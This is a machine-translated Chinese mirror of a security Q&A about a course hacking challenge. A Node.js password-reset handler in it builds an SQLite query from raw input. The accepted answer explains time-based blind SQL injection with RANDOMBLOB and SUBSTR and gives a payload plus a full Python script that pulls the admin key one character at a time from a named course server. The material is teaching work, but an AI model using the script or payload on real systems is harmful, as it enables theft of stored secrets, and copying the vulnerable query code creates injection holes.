首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >查找node.js web服务中的漏洞,以显示管理员的密钥

查找node.js web服务中的漏洞,以显示管理员的密钥
EN

Security用户
提问于 2017-04-03 18:13:25
回答 1查看 929关注 0票数 2

我试图解决以下的“黑客”挑战,以获得经验的网页漏洞。

该服务是用node.js编程的,可作为http://lbs-course.askarov.net:3030访问:

代码语言:javascript
复制
app.post ("/reset/", function (req, res) {
    var user = req.body.username;
    if (!user) {
      res.send("no username provided");
    } else {
      db.get (
        "select * from users where username='" + user + "'",
        function (err, row) {
          // ...
          if (row) {
            // ... send email because we have a real response
          }
          res.send("password reset email has been queued");
        })
    }
})

发送电子邮件的细节是不相关的,并且被注释掉了(就像在挑战中一样)。

数据存储在一个简单的SQLite 3数据库中。服务使用的用户表使用以下SQL查询创建:

代码语言:javascript
复制
CREATE TABLE users(username text, passwordhash text, key text)

数据库中至少存在一个用户名为admin的用户。

目标:

为用户admin获取私钥。

我的尝试:

我尝试过SQL注入,例如将user设置为' OR ''=',但是什么都没有发生.此外,我还读过有关MS支持EXECUTE()函数的文章,但在SQLite中找不到相应的内容。通过这样的函数,我原则上可以执行像nslookup这样的shell命令。

很明显,此服务唯一易受攻击的点是db.get()调用,而且由于发送电子邮件的细节与此无关,所以我必须让数据库为admin ( EXECUTE() call的原因)发送私钥。

在花了很多时间之后,我被困在了这个挑战中,所以我认为是时候向社区寻求帮助了。

EN

回答 1

Security用户

回答已采纳

发布于 2017-04-14 14:05:47

应用程序似乎对格式错误的SQL查询具有弹性,并且不会直接向用户输出错误信息。因此,如果应用程序不显式地输出存储的密钥,那么我们应该以其他方式检索它。

一种更微妙的SQL注入技术是定时SQL查询:为了获得存储在数据库中的内容的信息,我们将询问如果成功执行需要“很长”时间的查询,否则它们会终止“快速”。成功的定义取决于应用程序,但这通常意味着我们的查询返回结果。此外,“快速”和“长”执行时间是由应用程序参数化的。

现在,由于您知道数据库是一个SQLite数据库,所以我们应该寻找一个需要“很长”才能执行的函数。有些数据库对可用的SLEEP()有规范的选择,但SQLite不提供这种功能。相反,我们可以依赖RANDOMBLOB(),它生成随机位序列。

RANDOMBLOB()执行需要多长时间?好的,这应该由攻击者来衡量,由此产生的度量将(部分)决定“快速”和“长”执行时间的含义。实际上,使用SLEEP()函数会更准确,但是RANDOMBLOB()将满足我们的需要。

另一个在提取键时有用的函数是SUBSTR():我们逐字符提取键,“长”响应意味着成功,而“快速”响应意味着失败。

由于我们知道admin被保证在数据库中,所以我们为username发送了一个带有以下值的POST请求:

代码语言:javascript
复制
"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

查询字符串中的应用程序将替换此字符串以替代user

代码语言:javascript
复制
 "select * from users where username='" + user + "'"

这是转产率:

代码语言:javascript
复制
"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

实际上,如果chpos位置匹配key,那么RANDOMBLOB()将被执行,响应将需要“很长”的时间到达。否则,反应就会“快”到。

提取秘密(PGP)密钥的Python脚本:

请注意,可能需要根据timeout的服务器负载和执行时间来调整RANDOMBLOB()参数。

代码语言:javascript
复制
import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

希望这能有所帮助!

票数 2
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/155583

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档